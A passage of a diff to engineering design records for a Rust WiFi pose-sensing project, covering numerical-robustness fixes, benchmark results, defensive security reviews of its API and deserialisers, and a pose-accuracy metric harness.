**58→62 unit + 1 integration, 0 failed**; Python deterministic proof unchanged
|
||||
(off the signal proof path).
|
||||
|
||||
---
|
||||
|
||||
## 5. Summary
|
||||
|
||||
> Big models understand the world. Small ruVector models understand *your room*.
|
||||
|
||||
@@ -231,6 +231,8 @@ Catalogued so nothing is silently dropped. Priority: **P1** correctness-adjacent
|
||||
|
||||
> **Horizon-ledger one-liner.** Milestone-0 DONE: dead CIR gate (FIXED+proved), NaN/inf adversarial bypass (FIXED+proved), divide-by-(n−1) window trio (FIXED+proved), calibration dead-branch (FIXED), PSD FFT-planner cache (MEASURED), DTW band (MEASURED). **Milestone-1 DONE (2026-06-13): all four P1 backlog items cleared — circular phase variance #1 (RESOLVED/MEASURED metric, DATA-GATED threshold), Welford n=0 guard #10 (RESOLVED/MEASURED), threshold magic-constants #9 & #13 (RESOLVED-PARTIAL/DATA-GATED — de-magicked + boundary-tested, values unchanged).** **Milestone-2 DONE (2026-06-13): bench-first P2 perf subset + missing boundary tests cleared — spectrogram per-subcarrier FFT re-plan #20 (MEASURED-HOT, 1.40–1.84×, bit-identical); attention/tomography/Kalman #5/#6/#7 (MEASURED-NULL — benched, not hot, left as-is); field_model eigendecompose #8 (MEASUREMENT-ONLY, BLAS un-buildable on this Windows host, number deferred to a BLAS box, NOT fabricated); fft_operator tolerance #14, phase-align convergence-cap #16, csi-ratio epsilon #19 (RESOLVED, tests added).** **Milestone-3 DONE (2026-06-13): the lumped §7.4 row #21–45 P3 backlog cleared, and with it residual P3 items #2/#12/#17/#18 — 22 magic constants de-magicked into named EMPIRICAL-DEFAULT consts (each pinned == prior literal) + 6 boundary/characterization tests across 11 modules; ~4 doc-only; not-real findings (unreachable attractor_drift div0, non-existent gesture thresholds, proof-path features.rs) reported + skipped, no churn; no operating value changed; workspace 3,275/0, Python proof bit-exact `f8e76f21…`.** **§7.4 deferred backlog is now FULLY CLEARED across M0–M3 — nothing silently dropped.**
|
||||
|
||||
> **Sibling-crate sweep extension (2026-06-14) — `wifi-densepose-geo` + `wifi-densepose-pointcloud`.** The ADR-154-class numerical-robustness sweep (non-finite-input-poisons-persistent-state + divide-by-zero / asin-domain / degenerate-geometry) was extended to two crates *outside* this ADR's signal scope. **Two real `geo` bugs FIXED, each fails-on-old-pinned:** `terrain.rs::parse_hgt` usize-underflow panic on empty/sub-2x2 SRTM data (`1.0/(side-1)` → panic in debug / inf `cell_size_deg` poisoning `ElevationGrid::get` in release — a truncated download / 404 HTML body reaches it; now `bail!`s when `side < 2`); `coord.rs::haversine` `asin(>1)→NaN` for near-antipodal points (`h` rounds to `1.0+4e-16`; clamped to `[0,1]`). The ±90° pole `cos(lat)=0` ENU singularity is pinned no-panic without changing the transform. **`pointcloud` is confirmed-robust (no manufactured finding):** its only persistent auto-accumulating state (`occupancy` EMA + vitals) is fed solely by the integer-rssi/`sqrt`/`atan2` parser (always finite) and is provably self-healing even under an adversarial NaN/inf `CsiFrame` (`motion_score=(NaN/100).min(1.0)→1.0`; breathing `→0→clamp(5,40)→5.0`) — pinned by `nonfinite_frame_does_not_poison_persistent_state` + degenerate-voxel-fusion no-panic tests. `geo` 9→15 lib / 8 integration; `pointcloud` 18→22; 0 failed; workspace green; Python proof bit-exact `f8e76f21…`. See CHANGELOG `[Unreleased] → Fixed`.
|
||||
|
||||
---
|
||||
|
||||
## 8. Consequences
|
||||
|
||||
@@ -102,7 +102,7 @@ The double-clone elimination is also correctness-neutral: all 100 `viewpoint`/`m
|
||||
|
||||
| # | Candidate | What | Grade | Verdict |
|
||||
|---|-----------|------|-------|---------|
|
||||
| **1** | **SymphonyQG** (SIGMOD 2025, public code) | Unified quantization + graph ANN; source reports **3.5–17× QPS over HNSW at equal recall**, pure-CPU / edge-portable. | **CLAIMED** (author-measured; **not reproduced on our hardware** — reproduction is future work) | **Lead beyond-SOTA candidate for the ruvector ANN path.** Propose as ACCEPTED-future; cite honestly as "claimed by source, reproduction pending." Best fit because the ruvector retrieval path (AETHER re-ID, sketch prefilter) is exactly an ANN problem and SymphonyQG is CPU/edge-portable like our deployment. |
|
||||
| **1** | **SymphonyQG** (SIGMOD 2025, public code) | Unified quantization + graph ANN; source reports **3.5–17× QPS over HNSW at equal recall**, pure-CPU / edge-portable. | **MEASURED-direction-tested** (was CLAIMED) — **[ADR-261](ADR-261-ruvector-graph-ann-index.md)** built the missing HNSW baseline + a SymphonyQG-style 1-bit quantized-traversal variant and **measured** the ratio on our hardware. | **DONE — direction REFUTED at our scale (honest negative).** ADR-261 built the real HNSW baseline (**~25× QPS over linear scan at recall ≥0.99**, the substrate this row wanted) and a quantized variant. At N=10k the 1-bit Hamming traversal is **too coarse** — its best recall is 0.738, never reaching the ≥0.90 equal-recall point, so **no QPS win over float HNSW** (the SymphonyQG 3.5–17× is *not* reproduced by our 1-bit construction here). Caveat: **our HNSW + our 1-bit quant, not SymphonyQG's system**; expected crossover at large N + a multi-bit code. We did **not** tune to manufacture a speedup. |
|
||||
| **2** | **Multi-bit / Extended RaBitQ + unbiased estimator** | Extends our existing **1-bit** `sketch.rs` (ADR-084): Pass-2 rotation, multi-bit Pass-3, and the **real RaBitQ unbiased distance estimator** (Gao & Long SIGMOD 2024) reranking the candidate set from the 1-bit code + 8 B/vec side info (§11). | **MEASURED-on-our-hardware** (was CLAIMED) — rotation (§10), multi-bit (§10), and the estimator (§11) all implemented + benchmarked. Rotation lifts strict-K 36%→46%; multi-bit (≤4-bit) reaches 74% strict; **the estimator reaches 49.71% strict (cosine rerank), still short of 90%.** All clear 90% only with over-fetch (estimator improves the factor: 95% at candidate_k=24 vs sign 91.6%). | **DONE — RESOLVED-PARTIAL / NEGATIVE.** Rotation (§10) + estimator (§11) built and MEASURED. The honest negative (no strict-bar 90% from rotation, ≤4-bit, **or the unbiased estimator**) is recorded, not hidden. Over-fetch + Pass-2 is the path that meets the bar (ADR-084's "candidate set" pattern); the estimator lowers the over-fetch factor needed. |
|
||||
| **3** | **GraphPose-Fi-style learned antenna-attention + ChebGConv fusion head** | Would replace the current **untrained identity-projection + mean-pool** "attention" (the `CrossViewpointAttention` default is `ProjectionWeights::identity` — not a *learned* attention) with a learned graph fusion head. | **DATA-GATED** (per ADR-152 measurement (b): architecture is **NOT** the current bottleneck — **data is**) | **ACCEPTED-future, data-gated. Do NOT build now.** ADR-152's measured lesson was that swapping architecture without more/better paired data does not move PCK. Building a learned fusion head before the data exists would repeat the mistake ADR-155 §5 also flagged for GraphPose-Fi. |
|
||||
| — | **Cramér-Rao / sensor-placement** (`geometry.rs` CRB) | Investigated for a 2026 advance beating the textbook Fisher-information CRB already implemented. | **Investigated — NO ACTION** | **Cleared honestly.** No 2026 method beats the closed-form Fisher-information CRB for this 2-D bearing problem; our implementation is already correct SOTA. (Recording a negative result is a deliberate anti-slop signal.) The only CRB change this milestone is the §2.3 *GDOP* honesty fix, which is a labelling/quantity correction, not an algorithmic one. |
|
||||
@@ -138,7 +138,7 @@ The double-clone elimination is also correctness-neutral: all 100 `viewpoint`/`m
|
||||
|
||||
The review surfaced more than this milestone scoped. Tracked here for a future ADR-156 milestone:
|
||||
|
||||
- **SymphonyQG reproduction** (§5 #1) — reproduce the 3.5–17× QPS-over-HNSW claim on our hardware before integrating into the ruvector ANN path. Currently CLAIMED-only.
|
||||
- **SymphonyQG reproduction** (§5 #1) — **RESOLVED-DIRECTION-TESTED** (see [ADR-261](ADR-261-ruvector-graph-ann-index.md)). The missing HNSW baseline + a SymphonyQG-style 1-bit quantized-traversal variant were built and **MEASURED**: float HNSW is ~25× over linear scan at recall ≥0.99 (the baseline this gap needed), but our 1-bit quantized traversal is **too coarse to beat float HNSW at equal recall at N=10k** (best recall 0.738) — the 3.5–17× is **not reproduced** by our construction. Honest negative recorded; expected crossover is large N + a multi-bit traversal code. (Caveat: our HNSW + our 1-bit quant, not SymphonyQG's exact system.)
|
||||
- **Multi-bit / Extended RaBitQ** (§5 #2) — **RESOLVED-PARTIAL** (see §10). Pass-2 randomized rotation (FHT + seeded ±1 sign flips, `src/rotation.rs`) and a multi-bit Pass-3 experiment landed and were MEASURED against the ADR-084 ≥90% bar. **Honest result: rotation helps (+10pp at the strict bar) and Pass-2 reaches 90% with ~3× over-fetch, but NEITHER rotation nor multi-bit (up to 4-bit) clears the strict candidate_k==K 90% bar on the tested anisotropic distribution.** The original `1-bit sign quantization ships first; rotation/more-bits later if benchmark-measured top-K coverage drops below 90%` deferral is therefore retired: the rotation is built, the bar is characterised, and the residual gap is documented rather than deferred.
|
||||
- **Learned cross-viewpoint fusion head** (§5 #3, GraphPose-Fi-style) — **data-gated**: blocked on the paired multi-room data ADR-152 measurement (b) identified as the real bottleneck; do not build the architecture first.
|
||||
- **`CrossViewpointAttention` learned projections** — the default `ProjectionWeights::identity` + mean-pool is honest but unlearned; wiring real learned Q/K/V projections is part of the data-gated item above (no learned weights ⇒ the "attention" is currently a geometric-bias-weighted average, which the code/docs should keep stating plainly).
|
||||
|
||||
@@ -265,3 +265,74 @@ Result at time of writing (all 0 failed):
|
||||
perform (B5).
|
||||
- Files kept under the 500-line guideline (`engine.rs` 462; behavioral tests
|
||||
moved to `tests/engine_behaviors.rs`).
|
||||
|
||||
## Addendum — `homecore-api` follow-up security review (beyond-SOTA pass)
|
||||
|
||||
A later network-facing review of `homecore-api` (the remote REST + WS attack
|
||||
surface) — independent of the ADR-154–159 sweep — found and fixed two real
|
||||
issues the original M7 pass (which focused on the WS auth bypass HC-WS-01, the
|
||||
reply-theater HC-WS-02, and the bin token provisioning HC-WS-08) did not catch.
|
||||
Both are LOW severity and reported at true severity.
|
||||
|
||||
### HC-API-AUTH-01 — `GET /api/` was unauthenticated (FIXED)
|
||||
|
||||
`rest::api_root` took no headers and unconditionally returned
|
||||
`200 {"message":"API running."}`, while every sibling route gates on
|
||||
`BearerAuth::from_headers`. HA's `APIStatusView` inherits `requires_auth = True`,
|
||||
so `/api/` must return **401** for a missing/wrong bearer. HA clients use the
|
||||
status route as a token-validation probe; a 200 told a bad-token client its
|
||||
token was valid and let an unauthenticated party confirm a live endpoint.
|
||||
LOW severity (the body is a static string; no entity/state data leaks).
|
||||
|
||||
**Fix:** `api_root(headers, State)` now validates the bearer like `get_config`.
|
||||
**Pinned by** (fail-on-old, `tests/server_bin_auth.rs`):
|
||||
`api_root_rejects_missing_bearer`, `api_root_rejects_wrong_bearer` (both 200→401),
|
||||
guarded by `api_root_accepts_correct_bearer` (still 200 with a valid token).
|
||||
|
||||
### HC-WS-LAG-01 — `subscribe_events` killed the stream on a broadcast lag (FIXED)
|
||||
|
||||
The per-subscription task matched `Err(_) => break` on both broadcast
|
||||
`recv()` arms. `RecvError::Lagged(n)` (a slow consumer falling
|
||||
>`EVENT_CHANNEL_CAPACITY` = 4,096 events behind) is **recoverable** — the bus
|
||||
doc says "Lagged receivers must re-sync" and HA keeps the subscription alive
|
||||
across a lag. The old code treated the first lag as fatal, so after an event
|
||||
burst the client's stream went permanently silent with no error frame — a
|
||||
self-inflicted event-delivery DoS under load.
|
||||
|
||||
**Fix:** `Lagged(_) => continue` (skip the dropped window, re-sync),
|
||||
`Closed => break`, on both the system and domain arms of the `select!`.
|
||||
**Pinned by** `subscription_survives_broadcast_lag` (`tests/ws_handshake.rs`):
|
||||
subscribes to a filtered event type, floods 6,000 unrelated events past the
|
||||
4,096 capacity to force a `Lagged`, then asserts a subsequent subscribed event
|
||||
is still delivered (old code: 5s-timeout panic).
|
||||
|
||||
### Dimensions confirmed clean (with evidence)
|
||||
|
||||
- **AuthN/AuthZ** — all 7 other REST handlers gate on `BearerAuth::from_headers`
|
||||
→ `LongLivedTokenStore::is_valid` before any work; the WS handshake validates
|
||||
the `auth` token against the same store before the command loop, and
|
||||
privileged commands are unreachable pre-`auth_ok`. Token compare is
|
||||
`HashSet::contains` (content-independent timing — not the byte-`==` oracle of
|
||||
ADR-157 §B4), so no timing-oracle finding. No route skips the gate; no
|
||||
result-ignored check; no default/empty token accepted.
|
||||
- **Path traversal** — no route maps user input to a filesystem path (state is an
|
||||
in-memory `DashMap`); `:entity_id` passes through `EntityId::parse`, a strict
|
||||
`[a-z0-9_]+\.[a-z0-9_]+` ASCII allowlist that rejects `..`, `/`, `\`, and
|
||||
absolute paths. No traversal surface.
|
||||
- **Injection** — no SQL, no shell/subprocess, no `format!`-into-response;
|
||||
service/state bodies are typed `serde_json::Value` handed to the in-process
|
||||
registry (HA-equivalent).
|
||||
- **Info-leak** — `ApiError` maps to fixed status + a typed `{message}`;
|
||||
`ServiceError::HandlerFailed(String)` is integration-controlled (HA surfaces
|
||||
the handler error too), never framework internals/paths/stack-traces — no
|
||||
ADR-080-class leak.
|
||||
- **CORS** — explicit allowlist with `allow_credentials(false)` (HC-05),
|
||||
not `permissive()`.
|
||||
- **De-magic** — no bare security-relevant literals in the crate worth
|
||||
extracting (`EVENT_CHANNEL_CAPACITY` is already named in `homecore`; CORS
|
||||
dev-default ports are documented).
|
||||
|
||||
**Tests:** `homecore-api --no-default-features` **25 → 29** (+2 api-root auth,
|
||||
+1 api-root accept-guard, +1 WS lag-survival), 0 failed. Workspace green.
|
||||
Python deterministic proof unchanged (homecore-api is off the signal proof
|
||||
path).
|
||||
|
||||
@@ -78,6 +78,23 @@ converts the entity registry; full conversion of the remaining artifacts is defe
|
||||
|
||||
- `MigrateError` carries context (`path`, line/field) for I/O, JSON, YAML, missing-field,
|
||||
unsupported-schema-version, and entity-id parse failures (`src/lib.rs`).
|
||||
- **Secret-leak hardening (security review, 2026-06).** `secrets.yaml` parse failures must
|
||||
NOT use the generic `MigrateError::YamlParse { source }` variant: `serde_yaml`'s message
|
||||
for a typed-tag coercion error (e.g. `port: !!int <value>`) embeds the offending scalar
|
||||
verbatim (`invalid value: string "<the-secret-value>"`), and that error propagates through
|
||||
the `InspectSecrets` CLI path to stderr — leaking a secret value despite the CLI's
|
||||
deliberate `<redacted>` design. `read_secrets` now maps such failures to a dedicated
|
||||
redacting variant `MigrateError::SecretsParse { path, line, column }` that carries only the
|
||||
file path and a coarse location (`serde_yaml::Error::location()`), never the scalar content.
|
||||
Pinned by `secrets::tests::malformed_secrets_error_never_contains_secret_value` (asserts the
|
||||
rendered error **and its full `#[source]` chain** never contain the secret value).
|
||||
**Review dimensions confirmed clean with evidence:** source is never mutated (no
|
||||
`fs::write`/`remove`/`create` anywhere — P1 reads source, writes nothing); paths are
|
||||
user-supplied dirs joined with fixed filenames (no `..`/absolute traversal beyond the
|
||||
user's own privileges); malformed/typed/truncated `.storage` JSON and YAML **error, never
|
||||
panic** (every production `unwrap`/`expect` is test-only); unknown schema `minor_version`
|
||||
hard-errors fail-closed; no SQL/shell/path injection surface (the tool emits diagnostics
|
||||
only, persists nothing in P1).
|
||||
|
||||
### 2.5 Deferred to P2+ (NOT built — honestly labelled)
|
||||
|
||||
@@ -89,7 +106,9 @@ converts the entity registry; full conversion of the remaining artifacts is defe
|
||||
|
||||
### 2.6 Test evidence (as shipped)
|
||||
|
||||
- 19 tests (`cargo test -p homecore-migrate`), per the crate README badge.
|
||||
- 21 tests (`cargo test -p homecore-migrate`) — 19 as originally shipped plus 2 added by the
|
||||
2026-06 security review (`secrets::tests::malformed_secrets_error_never_contains_secret_value`,
|
||||
`malformed_secrets_error_reports_location`).
|
||||
|
||||
## 3. Consequences
|
||||
|
||||
|
||||
@@ -0,0 +1,117 @@
|
||||
# ADR-172: `wifi-densepose-cli` + `wifi-densepose-core` CSI-Deserialiser Security Review
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — clean-with-evidence, 4 regression pins added |
|
||||
| **Date** | 2026-06-15 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **CSI-DESERIALISER-HARDENING** |
|
||||
| **Supersedes / amends** | none (records review; references ADR-127 §9 for the `core` portion, ADR-136 for the pre-existing DoS ACs) |
|
||||
|
||||
## Context
|
||||
|
||||
The beyond-SOTA security sweep (branch `feat/v2-beyond-sota-sweep`) reviewed each
|
||||
`v2/` crate for real, reproducible defects. Two crates had no prior dedicated
|
||||
security ADR:
|
||||
|
||||
- **`wifi-densepose-core`** — the dependency root for all 12 downstream crates
|
||||
(types, traits, error types, CSI frame primitives). A defect here is a
|
||||
force-multiplier: every consumer inherits it.
|
||||
- **`wifi-densepose-cli`** — the user-facing entrypoint
|
||||
(`calibrate`/`calibrate-serve`/`enroll`/`train-room`/`room-watch` + MAT-gated),
|
||||
which parses untrusted UDP CSI packets and operator-supplied paths.
|
||||
|
||||
A **specific hypothesis** motivated the core review. Three earlier reviews in
|
||||
this campaign found a systemic **NaN-state-poisoning bug class** in crates that
|
||||
depend on core (`wifi-densepose-calibration`, `-vitals`, `-geo`): a non-finite
|
||||
(NaN/Inf) input latched into persistent filter/accumulator state (IIR `y1/y2`,
|
||||
running mean, Welford/von-Mises accumulator, voxel grid) → silent **permanent**
|
||||
feature failure. The load-bearing question for this review: **does that bug class
|
||||
originate in a shared `wifi-densepose-core` primitive** (making the right fix a
|
||||
single root fix), or was it independently re-implemented in each downstream
|
||||
crate (making the three existing local fixes complete)?
|
||||
|
||||
## Decision
|
||||
|
||||
Record the review outcome and lock in the existing DoS guards with regression
|
||||
tests. **No production code is changed** — both crates were already hardened
|
||||
(ADR-136 acceptance criteria + `sanitize_room_id`); the gap was *untested*
|
||||
guards, which a future refactor could silently remove.
|
||||
|
||||
### Load-bearing question — VERDICT: **NO** (the NaN class does not live in core)
|
||||
|
||||
`wifi-densepose-core` exposes **no stateful accumulator of any kind** — no
|
||||
Welford/running-mean, no von-Mises/circular-mean, no IIR/biquad filter state, no
|
||||
voxel grid.
|
||||
|
||||
- **MEASURED:** `grep` over `core/src` for
|
||||
`welford|von_mises|biquad|y1|y2|running_mean|accumulat|voxel|self.*+=` matched
|
||||
only the `InvalidState` *error* enum variant, "reset state" doc comments, and a
|
||||
test-only LCG — **zero** stateful logic. The only float math in core is
|
||||
construction-time projection (`CsiFrame::new` → amplitude/phase via `mapv`) and
|
||||
pure stateless `utils` functions; nothing persists across frames.
|
||||
- **Corroboration:** `wifi-densepose-calibration::Features::from_series`
|
||||
(`extract.rs:103–133`) already filters non-finite samples → `Features::ZERO`.
|
||||
The downstream fixes are independently re-implemented, confirming each crate
|
||||
rolls its own accumulator and each local fix is correct and complete. **A fix
|
||||
in core would be a no-op (there is nothing to fix).**
|
||||
|
||||
Consequence: the NaN-state-poisoning class is a *downstream-local* pattern, not a
|
||||
core-rooted defect. No hidden fourth instance exists in the shared primitive.
|
||||
|
||||
### Findings (all pins — guards already present, now tested)
|
||||
|
||||
| # | Location | Guard (pre-existing) | Regression pin | Evidence (MEASURED) |
|
||||
|---|----------|----------------------|----------------|---------------------|
|
||||
| 1 | `core` `types.rs:801` `from_canonical_bytes` | `saturating_mul` shape-vs-length check before `Vec::with_capacity(rows*cols)` | `canonical_decode_oversized_shape_is_bounded_not_allocated` | With guard removed: **panics `capacity overflow` at `types.rs:801`**; with guard: passes |
|
||||
| 2 | `core` `types.rs` decoder | typed `CanonicalDecodeError`, never panics | `canonical_decode_never_panics_on_arbitrary_bytes` (fuzz sweep) | panic-free on arbitrary bytes |
|
||||
| 3 | `cli` `calibrate.rs:276–291` | length check `buf.len() < 20 + n_pairs*2` before `Array2::zeros(n_antennas*n_subcarriers)` | `test_parse_csi_packet_oversized_claim_is_rejected_not_allocated` | 255×65535 claim in a 2 KB packet → `None` (no allocation) |
|
||||
| 4 | `cli` `calibrate.rs` parser | `None`-returning on malformed input | `test_parse_csi_packet_never_panics_on_arbitrary_bytes` (fuzz sweep) | panic-free on arbitrary UDP bytes |
|
||||
|
||||
### Dimensions confirmed clean (with evidence)
|
||||
|
||||
1. **Panic-on-adversarial-input = 0** — `from_canonical_bytes` returns a typed
|
||||
error for every malformed class; `parse_csi_packet` returns `None`. Both
|
||||
fuzz-swept panic-free.
|
||||
2. **NaN handling** — `Confidence::new` rejects NaN
|
||||
(`!(0.0..=1.0).contains(&NaN)` ⇒ `Err`); `compute_bounding_box` /
|
||||
`to_flat_array` are NaN-tolerant (f32 min/max ignore NaN).
|
||||
3. **Empty-frame safety** — `amplitude_variance` / `mean_amplitude` are
|
||||
panic-free on an empty `Array2` (ndarray 0.17 returns finite / `None`).
|
||||
4. **Unbounded-memory DoS** — bounded in both deserialisers (findings 1 & 3).
|
||||
5. **Path traversal** — `calibrate-serve` defends every client-supplied
|
||||
`room_id`/`bank`/`baseline` via `sanitize_room_id` (`[A-Za-z0-9_-]`, 64-char
|
||||
cap) with existing tests; bearer-auth gate + non-loopback-bind warning present.
|
||||
`mat export` writes to an operator-supplied `PathBuf` (acceptable CLI behavior).
|
||||
6. **Secrets** — `--token` is read from `CALIBRATE_TOKEN` env, never embedded.
|
||||
|
||||
## Validation
|
||||
|
||||
- `cargo test -p wifi-densepose-core` → **35 → 37** lib passed, 0 failed (+3 doctests)
|
||||
- `cargo test -p wifi-densepose-cli --no-default-features` → **24 → 26** passed, 0 failed
|
||||
- `cargo test --workspace --no-default-features` → **exit 0**, 0 failed
|
||||
- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash
|
||||
`f8e76f21a0f9852b70b6d9dd5318239f6b20cbcb4cdd995863263cecdc446f7a` **unchanged**
|
||||
(core/cli are off the signal proof path — confirms no pipeline alteration)
|
||||
|
||||
## Consequences
|
||||
|
||||
### Positive
|
||||
- Two CSI deserialisers (the untrusted-input boundary of both the library root
|
||||
and the network-facing CLI) now have their DoS guards pinned against
|
||||
regression — a future refactor that drops a length check fails CI.
|
||||
- The NaN-state-poisoning class is settled as downstream-local; reviewers no
|
||||
longer need to suspect a shared-root defect, and the three prior local fixes
|
||||
are confirmed complete.
|
||||
|
||||
### Negative
|
||||
- None. Test-only change; no behavior or API change.
|
||||
|
||||
### Neutral
|
||||
- The `core` portion is also noted in ADR-127 §9 (shared security-review log);
|
||||
this ADR is the canonical record for the `wifi-densepose-cli` review.
|
||||
|
||||
## Links
|
||||
- ADR-127 — HOMECORE state machine (shared security-review log, §9)
|
||||
- ADR-136 — pre-existing CSI deserialiser DoS acceptance criteria
|
||||
- ADR-151 — per-room calibration (`calibrate`/`calibrate-serve` surfaces)
|
||||
@@ -0,0 +1,123 @@
|
||||
# ADR-173: Metric-Locked PCK/MPJPE Accuracy Harness
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — implemented, deterministically tested |
|
||||
| **Date** | 2026-06-15 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **METRIC-LOCK** |
|
||||
| **Amends** | ADR-155 (generalizes the torso-only `metrics_core::pck_canonical` to a selectable normalization) |
|
||||
| **Motivated by** | `docs/research/sota-nn-train-benchmark-brief.md` (PR #1090) |
|
||||
|
||||
## Context
|
||||
|
||||
The beyond-SOTA SOTA-research brief (PR #1090) identified the single biggest
|
||||
threat to any "beyond-SOTA" accuracy claim this project makes: **metric
|
||||
ambiguity**. Three PCK@20 numbers circulate, computed under three *different and
|
||||
unstated* normalizations, so they cannot be compared:
|
||||
|
||||
- **96.09–96.61%** — WiFlow-STD reproduction, **image/bounding-box-normalized** PCK (the looser convention).
|
||||
- **81.63%** — an internal MM-Fi number reported as **"torso-PCK"** (tighter).
|
||||
- **61.1%** — GraphPose-Fi (arXiv 2511.19105), **standard torso-diameter** PCK on the MM-Fi random split (the academic frontier).
|
||||
|
||||
The project has been burned by this twice: a previously-published 92.9% was
|
||||
retracted because it used **absolute-pixel** normalization, not torso. Until
|
||||
there is *one canonical, documented, tested* PCK definition — and every reported
|
||||
number carries the definition it was computed under — no accuracy comparison is
|
||||
credible, and the "prove everything" bar cannot be met for the benchmark half of
|
||||
the work.
|
||||
|
||||
This is measurement infrastructure, not an accuracy claim. The deliverable's job
|
||||
is to make the metric **unambiguous and reproducible**, so future numbers are
|
||||
comparable and an unlabeled PCK is structurally impossible.
|
||||
|
||||
## Decision
|
||||
|
||||
Add a metric-locked accuracy harness as a new module
|
||||
`v2/crates/wifi-densepose-train/src/accuracy.rs` (404 non-test lines; inline
|
||||
deterministic tests bring the file to 708), re-exported at the crate root. It
|
||||
**extends, not duplicates** — it reuses `metrics_core`'s geometric primitives
|
||||
(`bounding_box_diagonal`, canonical hip indices `CANON_LEFT_HIP/RIGHT_HIP`), so
|
||||
there remains exactly one implementation of each geometric reference; the
|
||||
existing ADR-155 `pck_canonical` (torso-only) is unchanged and this generalizes
|
||||
it.
|
||||
|
||||
### Public API
|
||||
|
||||
- `enum PckNormalization { TorsoDiameter, BoundingBoxDiagonal, AbsolutePixels(f32) }`
|
||||
— the three conventions the three historical numbers used, now **explicit and
|
||||
selectable**. `.label()` / `.tolerance(...)`.
|
||||
- `pck_at(pred, gt, vis, k, norm) -> (correct, total, pck)` — PCK@k =
|
||||
fraction of *visible* keypoints whose predicted-vs-GT distance ≤ the tolerance,
|
||||
where tolerance = `k%` of the chosen normalizer (or an absolute threshold for
|
||||
`AbsolutePixels`).
|
||||
- `mpjpe(pred, gt, vis) -> f32` — mean per-joint position error (2D/3D, coordinate
|
||||
units; mm for mm inputs). Re-exported crate-root as `pck_mpjpe` to avoid
|
||||
colliding with the existing `eval::mpjpe`.
|
||||
- `struct PoseAccuracy { pck_at: BTreeMap<u8,f32>, mpjpe, normalization, n_keypoints, n_frames }`
|
||||
— **a reported number always carries its `normalization`**; an unlabeled PCK is
|
||||
structurally impossible to produce through this surface.
|
||||
- `struct PoseFrame { pred, gt, visibility }` + `accuracy_report(frames, ks, norm) -> PoseAccuracy`
|
||||
(micro-averaged over keypoints).
|
||||
|
||||
### Correctness is proven by hand-computed deterministic tests (no GPU, no data)
|
||||
|
||||
The tests construct synthetic keypoint sets whose PCK/MPJPE can be computed by
|
||||
hand, and assert the harness matches. Highlights (all pass):
|
||||
|
||||
| Test | Construction | Expected |
|
||||
|------|--------------|----------|
|
||||
| perfect_prediction | pred==gt | PCK=1.0 (all 3 norms), MPJPE=0 |
|
||||
| all_just_outside | every error just past τ@20 | PCK=0.0 |
|
||||
| half_in_half_out | 2 exact, 2 just outside | PCK=0.5 |
|
||||
| **three_normalizations (KEY PROOF)** | identical pred; nose err .06, shoulder .10, hips exact | torso=**0.50**, bbox=**1.00**, abs(.08)=**0.75** |
|
||||
| mpjpe_2d / mpjpe_3d | (3,4)→5 / (1,2,2)→3 | 2.5 / 3.0 |
|
||||
| mpjpe_excludes_invisible | invisible joint err 100 ignored | 5.0 |
|
||||
| zero_torso_unscoreable | coincident hips | `(0,0,0.0)`, **not** false-perfect |
|
||||
| no_visible_keypoints | vis=∅ | `(0,0,0.0)` |
|
||||
| nan_coords | one NaN pred coord | counted wrong, **no panic** |
|
||||
| empty report | no frames | 0.0, **not** NaN |
|
||||
| bbox≥torso ordering | same frames | bbox-PCK ≥ torso-PCK |
|
||||
|
||||
### The key proof (the ambiguity is real and quantified)
|
||||
|
||||
Identical predictions, three declared normalizations → **0.50 / 1.00 / 0.75**.
|
||||
Mechanism: the bbox diagonal `√(0.20² + 0.80²) = 0.825` is ~4× the hip-span torso
|
||||
`0.20`, so τ@20 is 0.165 (bbox) vs 0.040 (torso) — the looser image-normalized
|
||||
convention passes joints the strict torso convention rejects. This is *exactly*
|
||||
why 96% / 81.6% / 61% cannot be lined up without declaring the enum, demonstrated
|
||||
in-code.
|
||||
|
||||
## Validation
|
||||
|
||||
- `cargo test -p wifi-densepose-train --no-default-features` → lib **191 → 206**
|
||||
(+15), `test_metrics` **12 → 14** (+2), doc-tests 8 — **0 failed**.
|
||||
- `cargo test --workspace --no-default-features` → **exit 0**, 0 failed.
|
||||
- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash
|
||||
`f8e76f21a0f9852b70b6d9dd5318239f6b20cbcb4cdd995863263cecdc446f7a` **unchanged**
|
||||
(off the signal proof path — confirms no pipeline alteration).
|
||||
|
||||
## Consequences
|
||||
|
||||
### Positive
|
||||
- The three historical PCK numbers can now be **recomputed under one declared
|
||||
definition** and compared honestly. The retracted-number class of error
|
||||
(silent normalization mismatch) is structurally prevented going forward.
|
||||
- Establishes the measurement substrate for the beyond-SOTA target: GraphPose-Fi
|
||||
cross-environment **PCK@20 = 12.9%** (standard torso PCK) is now a number this
|
||||
harness can produce comparably.
|
||||
|
||||
### Negative
|
||||
- None functional. The harness is additive; no existing metric path changed.
|
||||
|
||||
### Neutral
|
||||
- Producing actual model numbers under this harness requires the trained models +
|
||||
datasets (MM-Fi) and, for cross-domain splits, is the next sub-deliverable of
|
||||
the benchmark/optimization milestone — out of scope here (this ADR is the
|
||||
*instrument*, not the *reading*).
|
||||
|
||||
## Links
|
||||
- ADR-155 — metric core (`pck_canonical`, torso-only) — generalized here
|
||||
- ADR-152 — WiFi-Pose SOTA 2026 intake / WiFlow-STD benchmark
|
||||
- `docs/research/sota-nn-train-benchmark-brief.md` — the motivating gap analysis
|
||||
- GraphPose-Fi — arXiv 2511.19105 (verified cross-env PCK@20 = 12.9% anchor)
|
||||
@@ -0,0 +1,110 @@
|
||||
# ADR-174: CI Bench-Regression Gate (Compile-Verify)
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — implemented, caught one real bit-rotted bench |
|
||||
| **Date** | 2026-06-15 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **BENCH-GATE** |
|
||||
| **Milestone** | benchmark/optimization re-balance — sub-deliverable 8.3 |
|
||||
| **Motivated by** | `docs/research/sota-nn-train-benchmark-brief.md` (target 3: criterion benches as CI regression baselines) |
|
||||
|
||||
## Context
|
||||
|
||||
The v2/ workspace ships **26 criterion benches across 18 crates** (e.g.
|
||||
